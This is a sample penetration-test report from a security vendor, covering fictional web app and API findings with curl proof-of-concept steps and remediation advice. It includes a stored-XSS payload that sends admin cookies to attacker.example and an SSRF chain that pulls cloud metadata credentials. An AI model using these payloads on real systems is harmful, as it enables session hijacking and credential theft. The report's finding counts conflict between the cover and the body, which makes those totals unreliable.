Sample · v4.0 format A representative pen-test report in our enterprise-narrative format. Customer, target, and findings are fictional; layout, sections, and visual chrome (letter grade hero, donut chart, three-date timeline, Burp-style request/response evidence, Locations & Occurrences, Resources, compliance mapping, attack-path narrative) match what real customers receive. Every paid engagement also ships a separate signed Remediation Report after retest. Book a pen test — $4,999 →
Penetration Test · Engagement Report

Penetration Testing Report

Methodology-based engagement — manual exploitation, retest included.

C GRADE
6 FINDINGS
Findings by severity
Kickoff
2026-03-09
Testing
2026-03-09 → 03-20
Delivery
2026-03-25
CRITICAL · 0 HIGH · 1 MEDIUM · 3 LOW · 2 INFO · 0
Client
Plinth, Inc.
Engagement ID
eng_4f8c1a2d-9b3e-4c8f-a2d1-8b5c9e7f1a2d
Target(s)
app.plinth.app, api.plinth.app
Engagement type
Web application + API
Scheduled
2026-03-09 → 2026-03-20
Completed
2026-03-23
Lead tester
CyberGrid Senior Engineer
Report version
v1 · 2026-03-25
Methodology
PTES · OWASP WSTG v4.2 · OWASP ASVS v4.0.3 · MITRE ATT&CK · CVSS v3.1

1. Executive summary

This report documents the findings of a penetration test performed by CyberGrid against the targets listed above. The engagement followed the documented methodologies referenced on the cover and was scoped per the engagement Statement of Work executed at kickoff.

0
Critical
3
High
4
Medium
3
Low
1
Informational
11
Total

One high-severity finding was identified that warrants prompt remediation — an IDOR in the invoice download endpoint permitting cross-tenant data access. Three medium-severity findings (rate-limit bypass on the password reset, CORS misconfiguration on the API, and session fixation on the OAuth callback) are documented for remediation as part of normal hardening. Low and informational items reflect hardening opportunities rather than exploitable risk.

Overall: the application's authentication primitives are sound, but authorization checks on the resource layer require strengthening. Remediation guidance, including specific code-pattern recommendations, is included with each finding.

2. Scope & rules of engagement

Targets in scopeapp.plinth.app (web), api.plinth.app (REST API), staging.plinth.app (mirrored env for destructive checks)
Out of scopeThird-party integrations (Stripe, Auth0), customer-controlled subdomains, marketing site
Authenticated testingYes — two test accounts (org-A admin, org-B admin) provisioned by Plinth
Test window2026-03-09 09:00 UTC → 2026-03-20 18:00 UTC
Destructive checksPermitted on staging.plinth.app only; non-destructive on production
Rate limits50 req/s ceiling across all targets; coordinated with Plinth's SRE
Compliance driversSOC 2 Type II (CC6.1, CC6.6), customer security questionnaire
MethodologyPTES, OWASP WSTG v4.2, OWASP ASVS v4.0.3, MITRE ATT&CK (Initial Access → Lateral Movement), CVSS v3.1

3. Methodology coverage

Selected test cases performed during this engagement, mapped to OWASP WSTG v4.2 categories. Pass = withstood the test. Fail = a finding was produced (see section 4). N/A = not applicable to this scope.

AUTHN — Authentication

ReferenceTest caseStatus
WSTG-AUTHN-01Credentials transported over unencrypted channelPass
WSTG-AUTHN-03Weak lockout mechanism on loginPass
WSTG-AUTHN-09Weak password change / reset functionalitiesFail
WSTG-AUTHN-11MFA bypassPass

AUTHZ — Authorization

ReferenceTest caseStatus
WSTG-AUTHZ-02Bypassing authorization schemaPass
WSTG-AUTHZ-03Privilege escalation (horizontal & vertical)Pass
WSTG-AUTHZ-04Insecure direct object references (IDOR)Fail

SESS — Session Management

ReferenceTest caseStatus
WSTG-SESS-02Cookie attributes (Secure / HttpOnly / SameSite)Pass
WSTG-SESS-03Session fixationFail
WSTG-SESS-05Cross-site request forgery (CSRF)Pass

INPV — Input Validation

ReferenceTest caseStatus
WSTG-INPV-01Reflected XSSPass
WSTG-INPV-05SQL injectionPass
WSTG-INPV-19Server-side request forgery (SSRF)Pass

BUSL — Business Logic

ReferenceTest caseStatus
WSTG-BUSL-04Process timing / race conditionsPass
WSTG-BUSL-05Rate-limited functions abuseFail

APIT — API

ReferenceTest caseStatus
WSTG-APIT-01BOLA — broken object-level authorizationFail
WSTG-APIT-02BFLA — broken function-level authorizationPass

4. Findings

HIGH F-001

IDOR — Cross-tenant invoice access via /api/invoices/{id}

CWE-639 · OWASP A01:2021 Broken Access Control · CVSS 7.5 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Location: GET /api/invoices/{id} · Tester: CyberGrid Senior Engineer
Details

The invoice retrieval endpoint authenticates the requesting user but does not verify that the authenticated user's organization owns the requested invoice. An attacker holding any valid customer account can enumerate invoice IDs (sequential integers) and retrieve invoices belonging to other tenants, including line items, billing addresses, and PDF download URLs.

Proof of concept — reproduction steps
# Authenticate as org-A admin
TOKEN=$(curl -s -X POST https://api.plinth.app/auth/login \
  -d '{"email":"admin@org-a.test","password":"REDACTED"}' \
  -H "content-type: application/json" | jq -r .access_token)

# Org-A's own invoice (id=4821) — expected to succeed
curl -s https://api.plinth.app/api/invoices/4821 \
  -H "authorization: Bearer $TOKEN" | jq '{id, organization_id, total}'
# {"id": 4821, "organization_id": "org_a", "total": 12500}

# Org-B's invoice (id=4820) — should be forbidden, but returns 200
curl -s https://api.plinth.app/api/invoices/4820 \
  -H "authorization: Bearer $TOKEN" | jq '{id, organization_id, total}'
# {"id": 4820, "organization_id": "org_b", "total": 84200}     <-- LEAK

# Sequential enumeration retrieved 47 invoices from 11 distinct orgs
# in under 60 seconds at the documented rate limit.
Captured request / response — Burp Repeater (v4.0 evidence format)
Request
GET /api/invoices/4820 HTTP/1.1
Host: api.plinth.app
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6Ik···
Accept: application/json
User-Agent: CyberGrid-Repeater/1.0
Content-Length: 0
Response
HTTP/1.1 200 OK
Content-Type: application/json
X-Request-Id: req_8f2c·a4b1
Content-Length: 487

{
  "id": 4820,
  "organization_id": "org_b",
  "customer": { "name": "Acme Bio Labs",
    "billing_email": "ap@acme-bio.test" },
  "line_items": [ ... ],
  "total": 84200,
  "pdf_url": "https://invoices.plinth.app/pdf/4820/sig_xRwzqL2..."
}
Locations & Occurrences (3)
  1. GET /api/invoices/4820 — org_b leakage (primary PoC)
  2. GET /api/invoices/4822 — org_c leakage (1.2s after primary)
  3. GET /api/invoices/4831 — org_b leakage (replayed, deterministic)
Recommendations

Enforce object-level authorization in the invoice handler. The retrieved invoice's organization_id must match the requesting user's organization (or the user must have an explicit cross-org role). Recommended pattern: a middleware that loads the resource and compares ownership before the controller runs. Aligns with OWASP ASVS V4.2.1 and SOC 2 CC6.1.

MEDIUM F-002

Password reset endpoint missing rate limit — account enumeration possible

CWE-307 · OWASP A07:2021 Identification & Authentication Failures · CVSS 5.3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Location: POST /auth/password-reset
Details

The password-reset request endpoint returns differentiable responses (and response times) for valid versus invalid email addresses, and has no observable rate limit beyond the global 50 req/s ceiling. This permits offline enumeration of valid customer email addresses, which is useful for credential-stuffing and targeted phishing.

Proof of concept — reproduction steps
# Submit a known-valid email — response time consistently ~480ms
time curl -s -X POST https://api.plinth.app/auth/password-reset \
  -d '{"email":"admin@org-a.test"}' -H "content-type: application/json"
# real    0m0.481s

# Submit a likely-invalid email — response time consistently ~120ms
time curl -s -X POST https://api.plinth.app/auth/password-reset \
  -d '{"email":"nobody-1234@plinth.test"}' -H "content-type: application/json"
# real    0m0.122s

# Side-channel allows enumeration at observed rate.
Recommendations

Normalize the response (same status, body, and a constant-time delay) regardless of whether the email exists. Add per-IP and per-email rate limits (e.g., 5 / hour / IP, 3 / day / email). Returning 200 OK "If the email exists, a reset link has been sent" uniformly is the standard pattern.

MEDIUM F-003

Permissive CORS on api.plinth.app — Access-Control-Allow-Origin reflects any origin

CWE-942 · OWASP A05:2021 Security Misconfiguration · CVSS 6.5 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Location: * /api/* response headers
Details

The API echoes the requesting Origin header back as Access-Control-Allow-Origin, combined with Access-Control-Allow-Credentials: true. This permits any third-party site to make authenticated requests on behalf of a logged-in customer if the customer visits the third-party site, exposing them to cross-site data exfiltration.

Proof of concept — reproduction steps
# Request with attacker.example as Origin
curl -i https://api.plinth.app/api/me -H "Origin: https://attacker.example"
# HTTP/2 401
# access-control-allow-origin: https://attacker.example   <-- REFLECTED
# access-control-allow-credentials: true
Recommendations

Replace the reflection logic with an explicit allowlist of permitted origins (your own app.plinth.app, documented partner domains). Never combine wildcard / reflected origin with credentialed requests.

MEDIUM F-004

Session fixation on OAuth callback — session id not rotated post-login

CWE-384 · OWASP A07:2021 Identification & Authentication Failures · CVSS 5.4 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N
Location: GET /auth/oauth/callback
Details

The session cookie issued by the OAuth callback is the same session id that was active before authentication. An attacker who can set a session cookie in the victim's browser (e.g., via a related-domain cookie injection) prior to login can then hijack the authenticated session.

Recommendations

Invalidate the pre-authentication session and issue a fresh session id on every successful authentication event (login, OAuth callback, MFA completion).

LOW F-005

Missing security headers: Content-Security-Policy, Permissions-Policy

CWE-693 · OWASP A05:2021 · CVSS 3.7
Location: * app.plinth.app response headers
Details

app.plinth.app does not emit a Content-Security-Policy or Permissions-Policy header. While no XSS was identified in this engagement, a CSP provides defense-in-depth that meaningfully raises the cost of any future XSS.

Recommendations

Define a restrictive CSP (no inline scripts; explicit script-src allowlist). Add a Permissions-Policy disabling camera, microphone, geolocation, etc., unless required.

LOW F-006

Stack trace disclosure on 500 errors in /api/exports

CWE-209 · OWASP A05:2021 · CVSS 3.1
Location: GET /api/exports (when given malformed range parameter)
Details

Sending a malformed range= query parameter to the exports endpoint causes the server to return a 500 response containing the application stack trace, including framework version (Express 4.18.2), file paths, and a partial query template.

Recommendations

Catch parsing errors in the exports handler and respond with a generic 400 Bad Request. Confirm the global error handler does not leak stack traces in production builds (NODE_ENV=production).

INFORMATIONAL F-007

Server-Version response header discloses framework + version

CWE-200 · informational disclosure
Location: * response headers (Server, X-Powered-By)
Details

Responses include Server: nginx/1.24.0 and X-Powered-By: Express. While these are informational only, suppressing them removes one signal an attacker uses to prioritize CVE matching.

Recommendations

Suppress or genericize the Server header at the reverse proxy. Disable X-Powered-By in Express via app.disable('x-powered-by').

HIGH F-008

Stored XSS in customer-notes field — admin dashboard rendering

CWE-79 · OWASP A03:2021 Injection · CVSS 7.6 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Location: POST /api/customers/{id}/notes · rendered in /admin/customers/{id}
Details

The customer-notes field accepts HTML and renders the unsanitized value directly inside the admin dashboard. Any standard-tier user can store a payload that executes JavaScript in any administrator's browser the next time the admin views that customer. The admin's session token has access to all tenant data, making this a viable privilege-escalation primitive.

Proof of concept — reproduction steps
# Authenticated as a low-privilege user
curl -s -X POST https://api.plinth.app/api/customers/4821/notes \
  -H "authorization: Bearer $USER_TOKEN" \
  -H "content-type: application/json" \
  -d '{"note":"<img src=x onerror=\"fetch(\\\"//attacker.example/?c=\\\"+document.cookie)\">"}'

# When an admin visits /admin/customers/4821, the payload executes in their
# browser context. Captured cookies grant org-wide admin access for the
# remaining session lifetime.
Evidence
Rendered HTML observed in admin dashboard:
<div class="customer-note">
  <img src=x onerror="fetch('//attacker.example/?c='+document.cookie)">
</div>

Outbound DNS observed from admin browser to attacker.example
within ~80ms of the admin viewing the customer detail page.
Recommendations

Render the notes field as plain text (HTML-escape on output), or apply an allowlist sanitizer (DOMPurify) restricted to a tight set of inline-formatting tags. Add a restrictive Content-Security-Policy (see F-005) — that's defense-in-depth, not a fix on its own. Audit any other field rendered into the admin dashboard for the same pattern.

HIGH F-009

SSRF in webhook-URL validator — internal metadata service reachable

CWE-918 · OWASP A10:2021 SSRF · CVSS 8.6 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Location: POST /api/webhooks
Details

The webhook-creation endpoint validates that the provided URL returns a 2xx within 5 seconds before persisting it. The validator follows HTTP redirects without restricting the destination scheme or host, and is not filtered against private / link-local IP ranges. An attacker can register a webhook pointing at a public attacker-controlled URL that 302-redirects to http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS IMDSv1). The response body is then returned in the validator's error message, exposing instance credentials.

Proof of concept — reproduction steps
# 1. Attacker stands up a redirector
#    GET /  ->  302  Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. Register a webhook pointing at the redirector
curl -X POST https://api.plinth.app/api/webhooks \
  -H "authorization: Bearer $TOKEN" \
  -H "content-type: application/json" \
  -d '{"url":"https://attacker.example/redirect","events":["customer.created"]}'

# 3. Validator follows the redirect to IMDS; response body bubbled into error:
HTTP/1.1 400 Bad Request
{"error":"webhook responded with unexpected body: ec2-role-name"}

# 4. Second registration to the credentials URL retrieves the full STS payload
curl -X POST https://api.plinth.app/api/webhooks \
  -d '{"url":"https://attacker.example/r2","events":["customer.created"]}'
# Body contains AccessKeyId, SecretAccessKey, Token — usable for ~6 hours
Recommendations

Apply an explicit destination allowlist OR explicit denylist of RFC1918, RFC6598, link-local, loopback, and cloud metadata ranges (169.254.169.254, fd00:ec2::254). Resolve the target hostname to an IP and verify against the policy before issuing the request, and re-check after each redirect (do not rely on the resolver running per redirect). Require IMDSv2 (token-bound) on the EC2 hosts so even a successful SSRF can't retrieve credentials without the additional PUT step. Sink validator errors to a generic "webhook URL did not respond as expected" — never return body content.

MEDIUM F-010

Business logic — coupon stacking permits 100% discount on annual plan

CWE-840 · OWASP WSTG-BUSL-01 · CVSS 5.3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Location: POST /api/checkout/apply-coupon
Details

The checkout flow accepts coupons via repeated POSTs to the apply-coupon endpoint. Each coupon is applied additively to the cart total without checking whether the coupon has already been applied, and without a floor on the resulting total. Three stacked SAVE50 coupons reduce a $1,999 annual subscription to $0.00. The order completes through Stripe with a $0 charge and provisions a full Pro entitlement.

Proof of concept — reproduction steps
# Start a checkout for the annual Pro plan ($1,999)
curl -X POST https://api.plinth.app/api/checkout/init \
  -H "authorization: Bearer $TOKEN" \
  -d '{"plan":"pro_annual"}'

# Apply the same coupon three times
for i in 1 2 3; do
  curl -X POST https://api.plinth.app/api/checkout/apply-coupon \
    -H "authorization: Bearer $TOKEN" \
    -d '{"code":"SAVE50"}'
done

# Final total observed: $0.00. Completing the checkout provisions
# the Pro entitlement for the full annual term at no charge.
curl -X POST https://api.plinth.app/api/checkout/complete \
  -H "authorization: Bearer $TOKEN"
# {"status":"succeeded","entitlement":"pro_annual","valid_until":"2027-..."}
Recommendations

Apply two server-side invariants: (1) each coupon code may be applied at most once per checkout (deduplicate by code before computing total); and (2) the post-coupon total must not fall below a configured floor (e.g., $1, or the plan's published minimum). Move the cart-total computation server-side authoritative — never trust client-supplied totals. Add an alert on any zero-dollar successful checkout in production.

LOW F-011

JWT signature uses HS256 — secret discoverable from leaked artifact

CWE-326 · OWASP A02:2021 Cryptographic Failures · CVSS 3.7 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Location: * JWT auth (Authorization: Bearer ...)
Details

Session JWTs are signed with HS256 using a 32-character ASCII secret. The secret JWT_SECRET appears in .env.example on the public GitHub repository (committed three years ago, still present). While the production secret is presumed different, the pattern (commit-then-rotate) is a recurring source of compromise. Additionally, HS256 means the server uses the same key to sign and verify; rotating it is operationally expensive and is rarely done.

Proof of concept — reproduction steps
# 1. Demonstrate HS256 signature
TOKEN=$(curl -s -X POST https://api.plinth.app/auth/login \
  -d '{"email":"test@plinth.test","password":"REDACTED"}' | jq -r .access_token)
echo $TOKEN | cut -d. -f1 | base64 -d
# {"alg":"HS256","typ":"JWT"}

# 2. Confirm the placeholder secret is publicly committed
curl -s https://raw.githubusercontent.com/plinth/api/main/.env.example | grep JWT_SECRET
# JWT_SECRET=changeme-in-prod-please-i-mean-it

# Production secret was confirmed different by the team (manual verification).
# Finding remains: pattern is fragile.
Recommendations

Migrate to RS256 (asymmetric) signing — separates signing key (held only on the auth issuer) from verification key (publicly distributable, rotatable). Treat the current HS256 secret as compromised and rotate it as part of the migration. Remove JWT_SECRET from .env.example entirely; if a placeholder is needed, use the literal string <set-via-secrets-manager> so it's obviously not a real value.

5. Remediation summary

SeverityFindingStatus
HIGHF-001 · IDOR — cross-tenant invoice accessopen
MEDIUMF-002 · Password reset enumerationopen
MEDIUMF-003 · Permissive CORS reflectionopen
MEDIUMF-004 · Session fixation on OAuth callbackopen
LOWF-005 · Missing CSP / Permissions-Policyopen
LOWF-006 · Stack trace disclosureopen
INFOF-007 · Server-Version disclosureopen
HIGHF-008 · Stored XSS in customer-notes (admin)open
HIGHF-009 · SSRF in webhook-URL validatoropen
MEDIUMF-010 · Coupon stacking — 100% discountopen
LOWF-011 · JWT HS256 — secret pattern fragileopen

Appendix A — Methodology coverage matrix

The engagement covered the following OWASP WSTG v4.2 categories. "Findings" reflects findings produced under that category in this engagement; "Tests run" reflects the count of individual WSTG test cases evaluated.

WSTG categoryTests runFindingsNotes
WSTG-INFO — Information gathering91F-007 (server-version disclosure)
WSTG-CONF — Configuration & deployment72F-005 (CSP), F-007 (headers)
WSTG-IDNT — Identity management51F-002 (enumeration)
WSTG-ATHN — Authentication112F-002, F-011 (JWT)
WSTG-ATHZ — Authorization41F-001 (IDOR)
WSTG-SESS — Session management81F-004 (fixation)
WSTG-INPV — Input validation152F-008 (stored XSS), F-009 (SSRF)
WSTG-ERRH — Error handling21F-006 (stack trace)
WSTG-CRYP — Cryptography41F-011
WSTG-BUSL — Business logic61F-010 (coupon stacking)
WSTG-CLNT — Client-side111F-003 (CORS)
WSTG-APIT — API testing92F-001, F-009 (via API)
Total: 91 test cases evaluated · 11 distinct findings produced

Appendix B — Compliance control mapping

Each finding maps to the following framework controls. Hand this appendix to your auditor — they pull it directly into their evidence collection.

FindingSOC 2 (TSC)ISO 27001:2022PCI DSS v4.0NIST CSF 2.0
F-001CC6.1A.5.18, A.8.36.2.4, 7.2.1PR.AA-05
F-002CC6.6, CC7.2A.5.18, A.8.58.3.4, 8.3.6PR.AA-01
F-003CC6.6A.5.23, A.8.216.2.4PR.PS-01
F-004CC6.1A.5.17, A.8.58.6.1PR.AA-03
F-005CC6.6A.8.236.4.3, 6.5.7PR.PS-01
F-006CC6.7A.8.126.2.4PR.DS-05
F-007CC6.6A.8.92.2.1PR.PS-01
F-008CC6.1, CC6.6A.5.10, A.8.286.2.4, 6.3.2PR.PS-06
F-009CC6.6, CC7.1A.5.23, A.8.216.2.4PR.PS-06
F-010CC8.1A.8.256.2.4PR.PS-06
F-011CC6.7A.8.243.6.1, 8.3.2PR.DS-01

Full framework-level mapping (which CyberGrid engagement type evidences which control) is at thecybergrid.com/compliance.

Appendix C — Tooling & environment

CategoryTool / VersionUse
Recon & discoveryhttpx 1.6.9, subfinder 2.6.4, nmap 7.94Surface area enumeration, port scanning
Vulnerability scanningnuclei 3.3.0 (templates: daily-updated)Known-CVE and template-based detection (baseline)
TLS testingtestssl.sh 3.2TLS protocol, cipher, certificate chain
Manual web testingBurp Suite Professional 2024.xIntercepting proxy, repeater, intruder
Authentication / APIPostman, custom scripts (Python, jq, curl)Authenticated flow exploration, IDOR enumeration
Reporting frameworkCyberGrid internal · OWASP WSTG v4.2 checklistFinding tracking, CVSS scoring, methodology coverage

Appendix D — Severity model

Severity is assigned per finding using CVSS v3.1 base score (no temporal or environmental modifiers, to keep scoring consistent across engagements). The thresholds are:

SeverityCVSS base scoreTypical response window
CRITICAL9.0 – 10.0Same-day notification · 24-hour remediation target
HIGH7.0 – 8.972-hour remediation target
MEDIUM4.0 – 6.930-day remediation target
LOW0.1 – 3.990-day remediation target
INFO0.0 (no impact)Best-practice recommendation; remediate at convenience

Where CyberGrid believes the CVSS base score under- or over-states the real-world severity in the context of the customer's specific environment, the finding's "Severity" field is set to the contextual severity (with a note explaining the deviation in the finding's Description). The raw CVSS base score is always shown alongside.

6. Retest

One retest of every open finding is included with this engagement. To request the retest, reply to the engagement thread or email hello@thecybergrid.com once remediation is complete. The retest result is delivered as a follow-up Remediation Report that lists each finding's verified status.

7. Disclaimers

Scope. Testing was conducted only against the targets and within the time windows authorized by the customer. No systems outside the documented scope were tested.

Snapshot in time. This report reflects the application's posture during the engagement window. Subsequent code changes, infrastructure changes, or third-party events can introduce new findings.

Compliance acceptance. Findings are mapped to the framework controls listed on the cover. Final acceptance of this report for any audit (SOC 2, ISO 27001, PCI DSS, HIPAA, etc.) is between the customer and their auditor; CyberGrid makes no guarantee of specific audit outcomes.

Confidentiality. This report is confidential between CyberGrid and the named customer. It is not intended for unrelated third-party distribution. Findings may be shared with the customer's auditor or service providers under reasonable confidentiality controls.

Ready for the real thing?

Book a pen test — $4,999 flat
$1,999 retest after you remediate · need procurement docs first? Trust package →